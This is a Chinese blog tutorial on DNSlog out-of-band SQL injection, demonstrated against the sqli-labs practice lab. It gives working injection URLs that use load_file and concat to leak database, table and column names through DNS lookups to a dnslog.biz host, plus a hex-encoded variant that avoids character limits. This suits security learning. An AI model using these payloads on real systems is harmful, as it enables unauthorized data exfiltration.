DNSlog注入全解析:实战步骤、原理揭秘与局限性探讨

DNSlog原理

  • DNS(Domain Name System):负责将域名转换为IP地址,以便浏览器能访问对应服务器上的服务。
  • DNSlog:即DNS的日志,记录了域名解析时的域名和解析IP的信息。
  • DNSlog外带原理:通过在高级域名中嵌入信息,利用DNS解析时留下的日志,将信息传递并读取,以获取请求信息。

DNSlog注入

  • 关键函数:Load_file,用于读取文件并返回其内容为字符串。访问互联网文件时,需在最前面加上“//”。
  • 使用前提:
    1. 存在注入点。
    2. 拥有root权限。
    3. 数据库具有读写权限,即secure_file_priv设置为空字符串。
    4. 具备请求URL的权限。
    5. 必须是Windows服务器环境。

复现过程

D盘中写了个1.txt

image-20240715150915441

通过load_file函数,读取一下

 select load_file('D:/1.txt')

0944677c9f45487a9dbb36d338bb442c

由于在通过load_file外带时是无法执行sql语句的,所以要通过concat函数,将执行的sql语句,与DNS请求的url进行拼接

select concat('Sentiment','\',(select database()));

0304fa11c28f43898148b338f714af34

这里我用的是dnslog.org,获取一个随机的dns域名

image-20240719102107252

接下来通过sqli第一关进行演示,通过你获取的随机dns域名DNSlog外带数据库信息,注意dns域名前面需要有个,否则会导致外带不成功

http://192.168.209.149/Less-1/?id=1' and load_file(concat('\\\',database(),'.eaf61aee.log.dnslog.biz./abc')) -- w

image-20240719102128109

此时dns解析记录就有了你靶机的数据库名称前缀

image-20240719102150899

外带表名

?id=1' and load_file(concat('\\\',(select group_concat(table_name separator '-') from  information_schema.tables where table_schema=database()),'.eaf61aee.log.dnslog.biz./abc')) -- w

image-20240719102455367

image-20240719102422819

外带列名

?id=1' and load_file(concat('\\\',(select group_concat(column_name separator '-') from  information_schema.columns where table_schema=database() and table_name='users'),'.eaf61aee.log.dnslog.biz./abc')) -- w

image-20240719102714066

局限性

通过本地测试后,发现了一些问题,在url中传递字符有一定的局限性,很多字符是无法传递的,所以在外带时,可以通过十六进制编码绕过符号的局限性

?id=1' and load_file(concat('\\\',(select hex(group_concat(column_name separator '_')) from  information_schema.columns where table_schema=database() and table_name='users'),'.eaf61aee.log.dnslog.biz./abc')) -- w

image-20240719102803502

十六进制转字符

image-20240715145950996

网安学习不迷路,欢迎各位网络安全大佬进来交流学习

1e557c5f87cb3e08bdcee84a7b8f227

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇